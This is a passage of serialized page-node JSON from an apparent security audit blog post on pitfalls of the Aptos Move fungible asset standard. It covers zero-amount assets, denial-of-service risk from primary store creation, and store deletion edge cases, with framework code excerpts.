destroy_zero",{"type":20,"tag":315,"props":60519,"children":60520},{"style":328},[60521],{"type":26,"value":1049},{"type":20,"tag":315,"props":60523,"children":60524},{"style":635},[60525],{"type":26,"value":60526},"fungible_asset",{"type":20,"tag":315,"props":60528,"children":60529},{"style":334},[60530],{"type":26,"value":2884},{"type":20,"tag":315,"props":60532,"children":60533},{"style":322},[60534],{"type":26,"value":59794},{"type":20,"tag":315,"props":60536,"children":60537},{"style":328},[60538],{"type":26,"value":549},{"type":20,"tag":315,"props":60540,"children":60541},{"class":317,"line":356},[60542,60546,60550,60554,60558,60562,60567,60571,60575,60579,60583,60587],{"type":20,"tag":315,"props":60543,"children":60544},{"style":541},[60545],{"type":26,"value":1380},{"type":20,"tag":315,"props":60547,"children":60548},{"style":322},[60549],{"type":26,"value":59794},{"type":20,"tag":315,"props":60551,"children":60552},{"style":328},[60553],{"type":26,"value":7985},{"type":20,"tag":315,"props":60555,"children":60556},{"style":635},[60557],{"type":26,"value":18710},{"type":20,"tag":315,"props":60559,"children":60560},{"style":328},[60561],{"type":26,"value":44},{"type":20,"tag":315,"props":60563,"children":60564},{"style":635},[60565],{"type":26,"value":60566},"metadata",{"type":20,"tag":315,"props":60568,"children":60569},{"style":334},[60570],{"type":26,"value":2884},{"type":20,"tag":315,"props":60572,"children":60573},{"style":635},[60574],{"type":26,"value":1418},{"type":20,"tag":315,"props":60576,"children":60577},{"style":328},[60578],{"type":26,"value":34618},{"type":20,"tag":315,"props":60580,"children":60581},{"style":334},[60582],{"type":26,"value":337},{"type":20,"tag":315,"props":60584,"children":60585},{"style":635},[60586],{"type":26,"value":60061},{"type":20,"tag":315,"props":60588,"children":60589},{"style":328},[60590],{"type":26,"value":1405},{"type":20,"tag":315,"props":60592,"children":60593},{"class":317,"line":365},[60594,60599,60603,60607,60611,60615,60620,60624,60629],{"type":20,"tag":315,"props":60595,"children":60596},{"style":345},[60597],{"type":26,"value":60598}," assert!",{"type":20,"tag":315,"props":60600,"children":60601},{"style":328},[60602],{"type":26,"value":1049},{"type":20,"tag":315,"props":60604,"children":60605},{"style":635},[60606],{"type":26,"value":18710},{"type":20,"tag":315,"props":60608,"children":60609},{"style":334},[60610],{"type":26,"value":1664},{"type":20,"tag":315,"props":60612,"children":60613},{"style":765},[60614],{"type":26,"value":985},{"type":20,"tag":315,"props":60616,"children":60617},{"style":328},[60618],{"type":26,"value":60619},", error",{"type":20,"tag":315,"props":60621,"children":60622},{"style":334},[60623],{"type":26,"value":1861},{"type":20,"tag":315,"props":60625,"children":60626},{"style":345},[60627],{"type":26,"value":60628},"invalid_argument",{"type":20,"tag":315,"props":60630,"children":60631},{"style":328},[60632],{"type":26,"value":60633},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":20,"tag":315,"props":60635,"children":60636},{"class":317,"line":374},[60637],{"type":20,"tag":315,"props":60638,"children":60639},{"style":328},[60640],{"type":26,"value":577},{"type":20,"tag":315,"props":60642,"children":60643},{"class":317,"line":383},[60644],{"type":20,"tag":315,"props":60645,"children":60646},{"emptyLinePlaceholder":15},[60647],{"type":26,"value":427},{"type":20,"tag":315,"props":60649,"children":60650},{"class":317,"line":407},[60651,60655,60659,60664,60668,60672,60676,60680,60684,60688,60692,60696,60700,60704,60708,60712,60716],{"type":20,"tag":315,"props":60652,"children":60653},{"style":635},[60654],{"type":26,"value":59929},{"type":20,"tag":315,"props":60656,"children":60657},{"style":635},[60658],{"type":26,"value":4601},{"type":20,"tag":315,"props":60660,"children":60661},{"style":635},[60662],{"type":26,"value":60663}," zero",{"type":20,"tag":315,"props":60665,"children":60666},{"style":328},[60667],{"type":26,"value":4199},{"type":20,"tag":315,"props":60669,"children":60670},{"style":322},[60671],{"type":26,"value":4381},{"type":20,"tag":315,"props":60673,"children":60674},{"style":334},[60675],{"type":26,"value":2884},{"type":20,"tag":315,"props":60677,"children":60678},{"style":635},[60679],{"type":26,"value":4325},{"type":20,"tag":315,"props":60681,"children":60682},{"style":328},[60683],{"type":26,"value":6006},{"type":20,"tag":315,"props":60685,"children":60686},{"style":635},[60687],{"type":26,"value":60566},{"type":20,"tag":315,"props":60689,"children":60690},{"style":334},[60691],{"type":26,"value":2884},{"type":20,"tag":315,"props":60693,"children":60694},{"style":322},[60695],{"type":26,"value":59815},{"type":20,"tag":315,"props":60697,"children":60698},{"style":328},[60699],{"type":26,"value":4199},{"type":20,"tag":315,"props":60701,"children":60702},{"style":322},[60703],{"type":26,"value":4381},{"type":20,"tag":315,"props":60705,"children":60706},{"style":328},[60707],{"type":26,"value":6785},{"type":20,"tag":315,"props":60709,"children":60710},{"style":334},[60711],{"type":26,"value":2884},{"type":20,"tag":315,"props":60713,"children":60714},{"style":322},[60715],{"type":26,"value":59794},{"type":20,"tag":315,"props":60717,"children":60718},{"style":328},[60719],{"type":26,"value":1092},{"type":20,"tag":315,"props":60721,"children":60722},{"class":317,"line":421},[60723,60728],{"type":20,"tag":315,"props":60724,"children":60725},{"style":322},[60726],{"type":26,"value":60727}," FungibleAsset",{"type":20,"tag":315,"props":60729,"children":60730},{"style":328},[60731],{"type":26,"value":1092},{"type":20,"tag":315,"props":60733,"children":60734},{"class":317,"line":430},[60735,60740,60744,60749,60753,60758,60762,60766],{"type":20,"tag":315,"props":60736,"children":60737},{"style":635},[60738],{"type":26,"value":60739}," metadata",{"type":20,"tag":315,"props":60741,"children":60742},{"style":334},[60743],{"type":26,"value":2884},{"type":20,"tag":315,"props":60745,"children":60746},{"style":328},[60747],{"type":26,"value":60748}," object",{"type":20,"tag":315,"props":60750,"children":60751},{"style":334},[60752],{"type":26,"value":1861},{"type":20,"tag":315,"props":60754,"children":60755},{"style":345},[60756],{"type":26,"value":60757},"convert",{"type":20,"tag":315,"props":60759,"children":60760},{"style":328},[60761],{"type":26,"value":1049},{"type":20,"tag":315,"props":60763,"children":60764},{"style":635},[60765],{"type":26,"value":60566},{"type":20,"tag":315,"props":60767,"children":60768},{"style":328},[60769],{"type":26,"value":5131},{"type":20,"tag":315,"props":60771,"children":60772},{"class":317,"line":453},[60773,60777,60781,60785],{"type":20,"tag":315,"props":60774,"children":60775},{"style":635},[60776],{"type":26,"value":5844},{"type":20,"tag":315,"props":60778,"children":60779},{"style":334},[60780],{"type":26,"value":2884},{"type":20,"tag":315,"props":60782,"children":60783},{"style":765},[60784],{"type":26,"value":985},{"type":20,"tag":315,"props":60786,"children":60787},{"style":328},[60788],{"type":26,"value":643},{"type":20,"tag":315,"props":60790,"children":60791},{"class":317,"line":486},[60792],{"type":20,"tag":315,"props":60793,"children":60794},{"style":328},[60795],{"type":26,"value":1736},{"type":20,"tag":315,"props":60797,"children":60798},{"class":317,"line":499},[60799],{"type":20,"tag":315,"props":60800,"children":60801},{"style":328},[60802],{"type":26,"value":577},{"type":20,"tag":29,"props":60804,"children":60805},{},[60806],{"type":26,"value":60807},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":20,"tag":29,"props":60809,"children":60810},{},[60811,60813,60818],{"type":26,"value":60812},"In practice, the ability to freely mint and burn zero ",{"type":20,"tag":119,"props":60814,"children":60816},{"className":60815},[],[60817],{"type":26,"value":59907},{"type":26,"value":60819}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":20,"tag":219,"props":60821,"children":60823},{"id":60822},"primary-and-secondary-stores",[60824],{"type":26,"value":60825},"Primary and secondary stores",{"type":20,"tag":29,"props":60827,"children":60828},{},[60829,60835,60837,60843,60845,60850],{"type":20,"tag":119,"props":60830,"children":60832},{"className":60831},[],[60833],{"type":26,"value":60834},"FungibleStores",{"type":26,"value":60836}," in comparison to ",{"type":20,"tag":119,"props":60838,"children":60840},{"className":60839},[],[60841],{"type":26,"value":60842},"CoinStores",{"type":26,"value":60844}," are not unique. Each user can have multiple ",{"type":20,"tag":119,"props":60846,"children":60848},{"className":60847},[],[60849],{"type":26,"value":60330},{"type":26,"value":60851}," objects for a given token!",{"type":20,"tag":29,"props":60853,"children":60854},{},[60855,60857,60864,60866,60871],{"type":26,"value":60856},"A primary fungible store is maintained via the aptly named ",{"type":20,"tag":35,"props":60858,"children":60861},{"href":60859,"rel":60860},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[39],[60862],{"type":26,"value":60863},"primary_fungible_store",{"type":26,"value":60865}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":20,"tag":119,"props":60867,"children":60869},{"className":60868},[],[60870],{"type":26,"value":59824},{"type":26,"value":60872}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":20,"tag":29,"props":60874,"children":60875},{},[60876],{"type":26,"value":60877},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":20,"tag":305,"props":60879,"children":60881},{"className":1360,"code":60880,"language":1359,"meta":7,"style":7},"public entry fun register(\n user: &signer, [...]\n) acquires [...] {\n [...]\n let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n [...]\n}\n",[60882],{"type":20,"tag":119,"props":60883,"children":60884},{"__ignoreMap":7},[60885,60910,60942,60965,60981,61035,61050],{"type":20,"tag":315,"props":60886,"children":60887},{"class":317,"line":318},[60888,60892,60897,60901,60906],{"type":20,"tag":315,"props":60889,"children":60890},{"style":635},[60891],{"type":26,"value":59929},{"type":20,"tag":315,"props":60893,"children":60894},{"style":635},[60895],{"type":26,"value":60896}," entry",{"type":20,"tag":315,"props":60898,"children":60899},{"style":635},[60900],{"type":26,"value":4601},{"type":20,"tag":315,"props":60902,"children":60903},{"style":345},[60904],{"type":26,"value":60905}," register",{"type":20,"tag":315,"props":60907,"children":60908},{"style":328},[60909],{"type":26,"value":353},{"type":20,"tag":315,"props":60911,"children":60912},{"class":317,"line":356},[60913,60918,60922,60926,60930,60934,60938],{"type":20,"tag":315,"props":60914,"children":60915},{"style":635},[60916],{"type":26,"value":60917}," user",{"type":20,"tag":315,"props":60919,"children":60920},{"style":334},[60921],{"type":26,"value":2884},{"type":20,"tag":315,"props":60923,"children":60924},{"style":334},[60925],{"type":26,"value":5536},{"type":20,"tag":315,"props":60927,"children":60928},{"style":635},[60929],{"type":26,"value":5541},{"type":20,"tag":315,"props":60931,"children":60932},{"style":328},[60933],{"type":26,"value":42557},{"type":20,"tag":315,"props":60935,"children":60936},{"style":334},[60937],{"type":26,"value":7990},{"type":20,"tag":315,"props":60939,"children":60940},{"style":328},[60941],{"type":26,"value":10173},{"type":20,"tag":315,"props":60943,"children":60944},{"class":317,"line":365},[60945,60949,60953,60957,60961],{"type":20,"tag":315,"props":60946,"children":60947},{"style":328},[60948],{"type":26,"value":1468},{"type":20,"tag":315,"props":60950,"children":60951},{"style":635},[60952],{"type":26,"value":4738},{"type":20,"tag":315,"props":60954,"children":60955},{"style":328},[60956],{"type":26,"value":21437},{"type":20,"tag":315,"props":60958,"children":60959},{"style":334},[60960],{"type":26,"value":7990},{"type":20,"tag":315,"props":60962,"children":60963},{"style":328},[60964],{"type":26,"value":60020},{"type":20,"tag":315,"props":60966,"children":60967},{"class":317,"line":374},[60968,60973,60977],{"type":20,"tag":315,"props":60969,"children":60970},{"style":328},[60971],{"type":26,"value":60972}," [",{"type":20,"tag":315,"props":60974,"children":60975},{"style":334},[60976],{"type":26,"value":7990},{"type":20,"tag":315,"props":60978,"children":60979},{"style":328},[60980],{"type":26,"value":10173},{"type":20,"tag":315,"props":60982,"children":60983},{"class":317,"line":383},[60984,60988,60993,60997,61002,61006,61010,61014,61018,61022,61026,61031],{"type":20,"tag":315,"props":60985,"children":60986},{"style":541},[60987],{"type":26,"value":1380},{"type":20,"tag":315,"props":60989,"children":60990},{"style":635},[60991],{"type":26,"value":60992}," wallet_store",{"type":20,"tag":315,"props":60994,"children":60995},{"style":334},[60996],{"type":26,"value":1395},{"type":20,"tag":315,"props":60998,"children":60999},{"style":345},[61000],{"type":26,"value":61001}," create_primary_store",{"type":20,"tag":315,"props":61003,"children":61004},{"style":328},[61005],{"type":26,"value":5595},{"type":20,"tag":315,"props":61007,"children":61008},{"style":334},[61009],{"type":26,"value":1861},{"type":20,"tag":315,"props":61011,"children":61012},{"style":345},[61013],{"type":26,"value":5604},{"type":20,"tag":315,"props":61015,"children":61016},{"style":328},[61017],{"type":26,"value":1049},{"type":20,"tag":315,"props":61019,"children":61020},{"style":635},[61021],{"type":26,"value":60115},{"type":20,"tag":315,"props":61023,"children":61024},{"style":328},[61025],{"type":26,"value":13578},{"type":20,"tag":315,"props":61027,"children":61028},{"style":345},[61029],{"type":26,"value":61030},"get_metadata",{"type":20,"tag":315,"props":61032,"children":61033},{"style":328},[61034],{"type":26,"value":13826},{"type":20,"tag":315,"props":61036,"children":61037},{"class":317,"line":407},[61038,61042,61046],{"type":20,"tag":315,"props":61039,"children":61040},{"style":328},[61041],{"type":26,"value":60972},{"type":20,"tag":315,"props":61043,"children":61044},{"style":334},[61045],{"type":26,"value":7990},{"type":20,"tag":315,"props":61047,"children":61048},{"style":328},[61049],{"type":26,"value":10173},{"type":20,"tag":315,"props":61051,"children":61052},{"class":317,"line":421},[61053],{"type":20,"tag":315,"props":61054,"children":61055},{"style":328},[61056],{"type":26,"value":577},{"type":20,"tag":29,"props":61058,"children":61059},{},[61060,61061,61067,61069,61075],{"type":26,"value":15015},{"type":20,"tag":119,"props":61062,"children":61064},{"className":61063},[],[61065],{"type":26,"value":61066},"create_primary_store",{"type":26,"value":61068}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":20,"tag":119,"props":61070,"children":61072},{"className":61071},[],[61073],{"type":26,"value":61074},"ensure_primary_store_exists",{"type":26,"value":61076}," is recommended to avoid such issues.",{"type":20,"tag":21,"props":61078,"children":61080},{"id":61079},"fungible-assets-and-objects",[61081],{"type":26,"value":61082},"Fungible assets and objects",{"type":20,"tag":29,"props":61084,"children":61085},{},[61086,61088,61093,61095,61102],{"type":26,"value":61087},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":20,"tag":119,"props":61089,"children":61091},{"className":61090},[],[61092],{"type":26,"value":47102},{"type":26,"value":61094}," module, introduced in ",{"type":20,"tag":35,"props":61096,"children":61099},{"href":61097,"rel":61098},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[39],[61100],{"type":26,"value":61101},"AIP-10",{"type":26,"value":61},{"type":20,"tag":1312,"props":61104,"children":61105},{},[61106],{"type":20,"tag":29,"props":61107,"children":61108},{},[61109,61113],{"type":20,"tag":315,"props":61110,"children":61111},{},[61112],{"type":26,"value":59704},{"type":26,"value":61114}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":20,"tag":29,"props":61116,"children":61117},{},[61118],{"type":26,"value":61119},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":20,"tag":219,"props":61121,"children":61123},{"id":61122},"creation-and-deletion",[61124],{"type":26,"value":61125},"Creation and deletion",{"type":20,"tag":29,"props":61127,"children":61128},{},[61129,61131,61137],{"type":26,"value":61130},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":20,"tag":119,"props":61132,"children":61134},{"className":61133},[],[61135],{"type":26,"value":61136},"fungible_asset::add_fungibility",{"type":26,"value":2884},{"type":20,"tag":305,"props":61139,"children":61141},{"className":1360,"code":61140,"language":1359,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[61142],{"type":20,"tag":119,"props":61143,"children":61144},{"__ignoreMap":7},[61145],{"type":20,"tag":315,"props":61146,"children":61147},{"class":317,"line":318},[61148,61152,61156,61160,61165,61169,61174,61178,61183,61188,61192,61196],{"type":20,"tag":315,"props":61149,"children":61150},{"style":345},[61151],{"type":26,"value":40402},{"type":20,"tag":315,"props":61153,"children":61154},{"style":328},[61155],{"type":26,"value":1049},{"type":20,"tag":315,"props":61157,"children":61158},{"style":334},[61159],{"type":26,"value":19025},{"type":20,"tag":315,"props":61161,"children":61162},{"style":328},[61163],{"type":26,"value":61164},"object",{"type":20,"tag":315,"props":61166,"children":61167},{"style":334},[61168],{"type":26,"value":1861},{"type":20,"tag":315,"props":61170,"children":61171},{"style":345},[61172],{"type":26,"value":61173},"can_generate_delete_ref",{"type":20,"tag":315,"props":61175,"children":61176},{"style":328},[61177],{"type":26,"value":1049},{"type":20,"tag":315,"props":61179,"children":61180},{"style":635},[61181],{"type":26,"value":61182},"constructor_ref",{"type":20,"tag":315,"props":61184,"children":61185},{"style":328},[61186],{"type":26,"value":61187},"), error",{"type":20,"tag":315,"props":61189,"children":61190},{"style":334},[61191],{"type":26,"value":1861},{"type":20,"tag":315,"props":61193,"children":61194},{"style":345},[61195],{"type":26,"value":60628},{"type":20,"tag":315,"props":61197,"children":61198},{"style":328},[61199],{"type":26,"value":61200},"(EOBJECT_IS_DELETABLE));\n",{"type":20,"tag":29,"props":61202,"children":61203},{},[61204,61206,61211,61213,61218,61219,61226],{"type":26,"value":61205},"This object serves as the foundation for ownership tokens in the form of a ",{"type":20,"tag":119,"props":61207,"children":61209},{"className":61208},[],[61210],{"type":26,"value":59765},{"type":26,"value":61212},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":20,"tag":119,"props":61214,"children":61216},{"className":61215},[],[61217],{"type":26,"value":61136},{"type":26,"value":4852},{"type":20,"tag":35,"props":61220,"children":61223},{"href":61221,"rel":61222},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[39],[61224],{"type":26,"value":61225},"lacked this assert",{"type":26,"value":61227},", which we discovered and reported.",{"type":20,"tag":29,"props":61229,"children":61230},{},[61231,61236,61238,61243,61245,61250],{"type":20,"tag":119,"props":61232,"children":61234},{"className":61233},[],[61235],{"type":26,"value":61136},{"type":26,"value":61237}," transfers the ",{"type":20,"tag":119,"props":61239,"children":61241},{"className":61240},[],[61242],{"type":26,"value":59824},{"type":26,"value":61244}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":20,"tag":119,"props":61246,"children":61248},{"className":61247},[],[61249],{"type":26,"value":59765},{"type":26,"value":61251}," can be minted, representing a share of ownership in that object.",{"type":20,"tag":305,"props":61253,"children":61255},{"className":1360,"code":61254,"language":1359,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n [...]\n): Object\u003CMetadata> {\n [...]\n move_to(metadata_object_signer,\n Metadata {\n name,\n symbol,\n decimals,\n icon_uri,\n project_uri,\n }\n );\n[...]\n}\n",[61256],{"type":20,"tag":119,"props":61257,"children":61258},{"__ignoreMap":7},[61259,61267,61287,61302,61329,61344,61365,61377,61389,61401,61413,61425,61437,61444,61451,61466],{"type":20,"tag":315,"props":61260,"children":61261},{"class":317,"line":318},[61262],{"type":20,"tag":315,"props":61263,"children":61264},{"style":1071},[61265],{"type":26,"value":61266},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":20,"tag":315,"props":61268,"children":61269},{"class":317,"line":356},[61270,61274,61278,61283],{"type":20,"tag":315,"props":61271,"children":61272},{"style":635},[61273],{"type":26,"value":59929},{"type":20,"tag":315,"props":61275,"children":61276},{"style":635},[61277],{"type":26,"value":4601},{"type":20,"tag":315,"props":61279,"children":61280},{"style":345},[61281],{"type":26,"value":61282}," add_fungibility",{"type":20,"tag":315,"props":61284,"children":61285},{"style":328},[61286],{"type":26,"value":353},{"type":20,"tag":315,"props":61288,"children":61289},{"class":317,"line":365},[61290,61294,61298],{"type":20,"tag":315,"props":61291,"children":61292},{"style":328},[61293],{"type":26,"value":60972},{"type":20,"tag":315,"props":61295,"children":61296},{"style":334},[61297],{"type":26,"value":7990},{"type":20,"tag":315,"props":61299,"children":61300},{"style":328},[61301],{"type":26,"value":10173},{"type":20,"tag":315,"props":61303,"children":61304},{"class":317,"line":374},[61305,61309,61313,61317,61321,61325],{"type":20,"tag":315,"props":61306,"children":61307},{"style":328},[61308],{"type":26,"value":1509},{"type":20,"tag":315,"props":61310,"children":61311},{"style":334},[61312],{"type":26,"value":2884},{"type":20,"tag":315,"props":61314,"children":61315},{"style":322},[61316],{"type":26,"value":59815},{"type":20,"tag":315,"props":61318,"children":61319},{"style":328},[61320],{"type":26,"value":4199},{"type":20,"tag":315,"props":61322,"children":61323},{"style":322},[61324],{"type":26,"value":59824},{"type":20,"tag":315,"props":61326,"children":61327},{"style":328},[61328],{"type":26,"value":5676},{"type":20,"tag":315,"props":61330,"children":61331},{"class":317,"line":383},[61332,61336,61340],{"type":20,"tag":315,"props":61333,"children":61334},{"style":328},[61335],{"type":26,"value":60972},{"type":20,"tag":315,"props":61337,"children":61338},{"style":334},[61339],{"type":26,"value":7990},{"type":20,"tag":315,"props":61341,"children":61342},{"style":328},[61343],{"type":26,"value":10173},{"type":20,"tag":315,"props":61345,"children":61346},{"class":317,"line":407},[61347,61352,61356,61361],{"type":20,"tag":315,"props":61348,"children":61349},{"style":345},[61350],{"type":26,"value":61351}," move_to",{"type":20,"tag":315,"props":61353,"children":61354},{"style":328},[61355],{"type":26,"value":1049},{"type":20,"tag":315,"props":61357,"children":61358},{"style":635},[61359],{"type":26,"value":61360},"metadata_object_signer",{"type":20,"tag":315,"props":61362,"children":61363},{"style":328},[61364],{"type":26,"value":643},{"type":20,"tag":315,"props":61366,"children":61367},{"class":317,"line":421},[61368,61373],{"type":20,"tag":315,"props":61369,"children":61370},{"style":322},[61371],{"type":26,"value":61372}," Metadata",{"type":20,"tag":315,"props":61374,"children":61375},{"style":328},[61376],{"type":26,"value":1092},{"type":20,"tag":315,"props":61378,"children":61379},{"class":317,"line":430},[61380,61385],{"type":20,"tag":315,"props":61381,"children":61382},{"style":635},[61383],{"type":26,"value":61384}," name",{"type":20,"tag":315,"props":61386,"children":61387},{"style":328},[61388],{"type":26,"value":643},{"type":20,"tag":315,"props":61390,"children":61391},{"class":317,"line":453},[61392,61397],{"type":20,"tag":315,"props":61393,"children":61394},{"style":635},[61395],{"type":26,"value":61396}," symbol",{"type":20,"tag":315,"props":61398,"children":61399},{"style":328},[61400],{"type":26,"value":643},{"type":20,"tag":315,"props":61402,"children":61403},{"class":317,"line":486},[61404,61409],{"type":20,"tag":315,"props":61405,"children":61406},{"style":635},[61407],{"type":26,"value":61408}," decimals",{"type":20,"tag":315,"props":61410,"children":61411},{"style":328},[61412],{"type":26,"value":643},{"type":20,"tag":315,"props":61414,"children":61415},{"class":317,"line":499},[61416,61421],{"type":20,"tag":315,"props":61417,"children":61418},{"style":635},[61419],{"type":26,"value":61420}," icon_uri",{"type":20,"tag":315,"props":61422,"children":61423},{"style":328},[61424],{"type":26,"value":643},{"type":20,"tag":315,"props":61426,"children":61427},{"class":317,"line":513},[61428,61433],{"type":20,"tag":315,"props":61429,"children":61430},{"style":635},[61431],{"type":26,"value":61432}," project_uri",{"type":20,"tag":315,"props":61434,"children":61435},{"style":328},[61436],{"type":26,"value":643},{"type":20,"tag":315,"props":61438,"children":61439},{"class":317,"line":521},[61440],{"type":20,"tag":315,"props":61441,"children":61442},{"style":328},[61443],{"type":26,"value":1728},{"type":20,"tag":315,"props":61445,"children":61446},{"class":317,"line":552},[61447],{"type":20,"tag":315,"props":61448,"children":61449},{"style":328},[61450],{"type":26,"value":42076},{"type":20,"tag":315,"props":61452,"children":61453},{"class":317,"line":571},[61454,61458,61462],{"type":20,"tag":315,"props":61455,"children":61456},{"style":328},[61457],{"type":26,"value":2117},{"type":20,"tag":315,"props":61459,"children":61460},{"style":334},[61461],{"type":26,"value":7990},{"type":20,"tag":315,"props":61463,"children":61464},{"style":328},[61465],{"type":26,"value":10173},{"type":20,"tag":315,"props":61467,"children":61468},{"class":317,"line":2031},[61469],{"type":20,"tag":315,"props":61470,"children":61471},{"style":328},[61472],{"type":26,"value":577},{"type":20,"tag":17197,"props":61474,"children":61475},{},[],{"type":20,"tag":29,"props":61477,"children":61478},{},[61479,61481,61486,61488,61493],{"type":26,"value":61480},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":20,"tag":119,"props":61482,"children":61484},{"className":61483},[],[61485],{"type":26,"value":60330},{"type":26,"value":61487}," is also an object, and a \"secondary\" ",{"type":20,"tag":119,"props":61489,"children":61491},{"className":61490},[],[61492],{"type":26,"value":60330},{"type":26,"value":61494}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":20,"tag":305,"props":61496,"children":61498},{"className":1360,"code":61497,"language":1359,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[61499],{"type":20,"tag":119,"props":61500,"children":61501},{"__ignoreMap":7},[61502,61510,61552,61559,61567],{"type":20,"tag":315,"props":61503,"children":61504},{"class":317,"line":318},[61505],{"type":20,"tag":315,"props":61506,"children":61507},{"style":1071},[61508],{"type":26,"value":61509},"//Fungible asset\n",{"type":20,"tag":315,"props":61511,"children":61512},{"class":317,"line":356},[61513,61517,61521,61526,61530,61535,61539,61543,61548],{"type":20,"tag":315,"props":61514,"children":61515},{"style":635},[61516],{"type":26,"value":59929},{"type":20,"tag":315,"props":61518,"children":61519},{"style":635},[61520],{"type":26,"value":4601},{"type":20,"tag":315,"props":61522,"children":61523},{"style":345},[61524],{"type":26,"value":61525}," remove_store",{"type":20,"tag":315,"props":61527,"children":61528},{"style":328},[61529],{"type":26,"value":1049},{"type":20,"tag":315,"props":61531,"children":61532},{"style":635},[61533],{"type":26,"value":61534},"delete_ref",{"type":20,"tag":315,"props":61536,"children":61537},{"style":334},[61538],{"type":26,"value":2884},{"type":20,"tag":315,"props":61540,"children":61541},{"style":334},[61542],{"type":26,"value":5536},{"type":20,"tag":315,"props":61544,"children":61545},{"style":322},[61546],{"type":26,"value":61547},"DeleteRef",{"type":20,"tag":315,"props":61549,"children":61550},{"style":328},[61551],{"type":26,"value":380},{"type":20,"tag":315,"props":61553,"children":61554},{"class":317,"line":365},[61555],{"type":20,"tag":315,"props":61556,"children":61557},{"emptyLinePlaceholder":15},[61558],{"type":26,"value":427},{"type":20,"tag":315,"props":61560,"children":61561},{"class":317,"line":374},[61562],{"type":20,"tag":315,"props":61563,"children":61564},{"style":1071},[61565],{"type":26,"value":61566},"//Object\n",{"type":20,"tag":315,"props":61568,"children":61569},{"class":317,"line":383},[61570,61574,61578,61583,61587,61592,61596,61601],{"type":20,"tag":315,"props":61571,"children":61572},{"style":635},[61573],{"type":26,"value":59929},{"type":20,"tag":315,"props":61575,"children":61576},{"style":635},[61577],{"type":26,"value":4601},{"type":20,"tag":315,"props":61579,"children":61580},{"style":345},[61581],{"type":26,"value":61582}," delete",{"type":20,"tag":315,"props":61584,"children":61585},{"style":328},[61586],{"type":26,"value":1049},{"type":20,"tag":315,"props":61588,"children":61589},{"style":541},[61590],{"type":26,"value":61591},"ref",{"type":20,"tag":315,"props":61593,"children":61594},{"style":334},[61595],{"type":26,"value":2884},{"type":20,"tag":315,"props":61597,"children":61598},{"style":322},[61599],{"type":26,"value":61600}," DeleteRef",{"type":20,"tag":315,"props":61602,"children":61603},{"style":328},[61604],{"type":26,"value":380},{"type":20,"tag":29,"props":61606,"children":61607},{},[61608,61610,61616,61618,61623,61625,61630,61632,61637,61639,61645,61647,61653,61655,61660],{"type":26,"value":61609},"When ",{"type":20,"tag":119,"props":61611,"children":61613},{"className":61612},[],[61614],{"type":26,"value":61615},"object::delete",{"type":26,"value":61617}," removes the ",{"type":20,"tag":119,"props":61619,"children":61621},{"className":61620},[],[61622],{"type":26,"value":47102},{"type":26,"value":61624}," from a ",{"type":20,"tag":119,"props":61626,"children":61628},{"className":61627},[],[61629],{"type":26,"value":60330},{"type":26,"value":61631}," object, the ",{"type":20,"tag":119,"props":61633,"children":61635},{"className":61634},[],[61636],{"type":26,"value":60330},{"type":26,"value":61638}," resource becomes permanently undeletable. This is because ",{"type":20,"tag":119,"props":61640,"children":61642},{"className":61641},[],[61643],{"type":26,"value":61644},"remove_store",{"type":26,"value":61646}," can't create an ",{"type":20,"tag":119,"props":61648,"children":61650},{"className":61649},[],[61651],{"type":26,"value":61652},"Object\u003CFungibleStore>",{"type":26,"value":61654}," without an ",{"type":20,"tag":119,"props":61656,"children":61658},{"className":61657},[],[61659],{"type":26,"value":47102},{"type":26,"value":61661}," underneath, causing the operation to fail.",{"type":20,"tag":305,"props":61663,"children":61665},{"className":1360,"code":61664,"language":1359,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n 